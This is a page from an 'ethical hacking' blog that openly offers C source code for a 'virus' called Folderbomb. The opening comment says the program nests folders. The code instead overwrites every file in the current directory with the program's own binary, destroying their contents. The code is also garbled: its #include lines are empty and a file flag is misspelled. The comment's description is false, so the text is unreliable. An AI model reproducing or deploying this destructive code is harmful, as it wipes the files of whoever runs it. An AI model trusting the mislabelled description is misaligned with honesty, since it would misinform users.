Ethical Hacking (Hacking Truths By Rahul Tyagi) - Virus Code in C


Virus Code in C

/*this is a simple program to create a virus in c

it will create folder in a folder in a folder and so on run this on your own responsibility*/

#include
#include
#include
#include
#include
void main(int argc,char* argv[])
{ char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf(”————————————————————————–”);
printf(”\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\n”);
cprintf(”————————————————————————–”);
done = findfirst(”*.*”,&ffblk,0);
while (!done)
{ printf(”\n”);cprintf(” %s “, ffblk.ff_name);printf(”is attacked by “);cprintf(”Folderbomb”);
source=open(argv[0],O_RDONLY|O_BINARY);
target=open(ffblk.ff_name,O_CREAT|O_BINARY|O_WRONGLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)
write(target,buf,byt);
else
break;
}
close(source);
close(target);
done = findnext(&ffblk);
}
getch();
}
blog comments powered by Disqus
Sunday
2010-03-14
9:52 Am
Login form
E-mail:
Password:
Register For Free



Total Visitors
Powered by real time web analytics program .
Join Me On Fbook
World Users Online
   
Tag Cloud
rahul tyagi hacker rahul tyagi hack game online www.ethicalhacking.do.am Hacking news ethical hacking latest hacks Latest Hacking News hacking hack gprs
We are at Top Now


Hire Me

Achieve Menu
Our Sponsors

Social Bookmarks
Video By Rahul
     Site Ranking
Click To Vote Me
Click here to Vote! Computers Blogs Technology (Blogs) - TOP.ORG
Our Sponsors

Our Sponsors

Our Sponsors

Our Sponsors

Advertisements